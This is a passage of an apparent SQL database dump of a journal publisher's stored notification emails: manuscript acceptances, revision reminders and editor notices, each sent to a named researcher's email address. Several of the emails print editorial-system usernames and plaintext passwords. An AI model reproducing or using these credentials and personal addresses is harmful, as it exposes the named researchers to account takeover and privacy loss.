Ref.:  Ms. No.  <b>ipaom-21-8068</b><br />\r\n            <br />\r\n            Article Title: <b>Assessing factors associated with poor community based health insurance client satisfaction level with public health care services in NegeleArsiWoreda health centers, West Arsi Zone Ethiopia</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Tilahun Wanamo</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>A. Ewy</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-8068</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> gordon<br />\r\n            <b>Password:</b> 93KRboWl<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','GAEWY1933@gmail.com',8068,'2021-04-17',85),(2999,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8146</b><br />\r\n            <br />\r\n            Article Title: <b>Different Methods of COVID-19 Detection </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>PROST</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-16</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','michelprost.spiral@wanadoo.fr',8146,'2021-04-17',48),(3000,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-7555</b><br />\r\n            <br />\r\n            Article Title: <b>PERIODONTITIS: UN FACTOR AGRAVANTE DE LA COVID 19</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Velez Carvajal</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-17</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','lvelezc@unicartagena.edu.co',7555,'2021-04-17',1086),(3001,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-7501</b><br />\r\n            <br />\r\n            Article Title: <b>GENES NEANDERTALES COMO FACTOR PROTECTOR PARA LA COVID 19</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>AGAMEZ TAMARA</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-17</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','NAGAMEZT10@CURNVIRTUAL.EDU.CO',7501,'2021-04-17',1086),(3002,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-7477</b><br />\r\n            <br />\r\n            Article Title: <b>Production of recombinant Adenovirus associated COVID-19 vector by using suspension HEK293 cells: Component of SARS CoV-2 vaccine</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Samantaray</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-17</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','utkalgenome@gmail.com',7477,'2021-04-17',85),(3003,'<p>Ref.:  Ms. No. : <b>ipaom-21-7764</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Identifying the Significance of Consanguinity for Epilepsy Patients at King Abdulaziz University Hospital in Jeddah, Saudi Arabia</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Alahmadi</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-7764</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>faisal</b><br />\r\npassword: <b>njGvI6rf</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','faisalmosaalahmadi@gmail.com',7764,'2021-04-17',85),(3006,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8145</b><br />\r\n            <br />\r\n            Article Title: <b>The Potential Applications of the Potent Cytotoxic Ansamitocin P-3 in the Treatment of Gastric Carcinoma </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sun</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','lsun@tulane.edu',8145,'2021-04-19',48),(3007,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8122</b><br />\r\n            <br />\r\n            Article Title: <b>Ocimum Sanctum [OS] Linn (Tulsi) Give a different Pharmacognostic and Pharmacological movement On a Different sort of Disease</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>singh</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jpsingh9452@gmail.com',8122,'2021-04-19',1045),(3008,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7980</b><br />\r\n            <br />\r\n            Article Title: <b>Evaluation of burnout and job stress in care worker and comparison between front-line and second-line in care worker during coronavirus epidemic.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>sadeghipour</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','shamsi_76@yahoo.com',7980,'2021-04-19',1045),(3009,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7979</b><br />\r\n            <br />\r\n            Article Title: <b>Investigating the effect of appropriate personal protective equipment on the stress level of care workers in the covid19 epidemic.IRAN</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>sadeghipour</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','shamsi_76@yahoo.com',7979,'2021-04-19',1045),(3010,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7979</b><br />\r\n            <br />\r\n            Article Title: <b>Investigating the effect of appropriate personal protective equipment on the stress level of care workers in the covid19 epidemic.IRAN</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>sadeghipour</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','shamsi_76@yahoo.com',7979,'2021-04-19',1045),(3011,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-8041</b><br />\r\n            <br />\r\n            Article Title: <b>Seroprevalence of cytomegalovirus among schizophrenic patients in Khartoum State</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.aclr.com.es/\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Hamad</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','musab.noor13@gmail.com',8041,'2021-04-19',984),(3022,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7990</b><br />\r\n            <br />\r\n            Article Title: <b>Sexual Dysfunction and its predictors among m ale patients with epilepsy attending public hospitals, east Ethiopia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Madoro</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','derebemd@gmail.com',7990,'2021-04-21',48),(3026,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7420</b><br />\r\n            <br />\r\n            Article Title: <b>R2* relaxometry in sclerotic hippocampi of patients with temporal lobe epilepsy</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>S&Atilde;&frac14;t&Aring;&lsquo;</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipjnn-21-7420</b> by <b>26-04-2021</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.jneuro.com/\">https://www.jneuro.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>zs&Atilde;&sup3;fia</b><br />\r\n            Password : <b>UUZVdTgo</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','zsofia.suto94@gmail.com',7420,'2021-04-21',75),(3027,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7559</b><br />\r\n            <br />\r\n            Article Title: <b>Intraoperative Neurophysiological Monitoring</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Martinez-Soler</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipjnn-21-7559</b> by <b>26-04-2021</b>.<b><br />\r\n            </b><br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.jneuro.com/\">https://www.jneuro.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>pablo</b><br />\r\n            Password : <b>CONlucPe</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','neurosurgery@europe.com',7559,'2021-04-21',75),(3030,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-7883</b><br />\r\n            <br />\r\n            Article Title: <b>Aspergilosis invasiva subaguda en paciente con hipercortisolismo end&oacute;geno</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Menendez</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipadm-21-7883</b> for the <b>Archivos de Medicina</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','menendezmanuel@gmail.com',7883,'2021-04-22',274),(3031,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8019</b><br />\r\n            <br />\r\n            Article Title: <b>INFECCI&Oacute;N POR SARS-CoV-2 Y SINDROME DE GUILLAIN-BARR&Eacute;</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Menendez</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipadm-21-8019</b> for the <b>Archivos de Medicina</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','menendezmanuel@gmail.com',8019,'2021-04-22',274),(3032,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6964</b><br />\r\n            <br />\r\n            Article Title: <b>Comparative analysis of biochemical indexes of severe and non-severe patients infected with COVID-19</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shyam </b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-20-6964</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','shyam.nandi@unmc.edu',6964,'2021-04-22',85),(3035,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6964</b><br />\r\n            <br />\r\n            Article Title: <b>Comparative analysis of biochemical indexes of severe and non-severe patients infected with COVID-19</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>boufrioua</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> 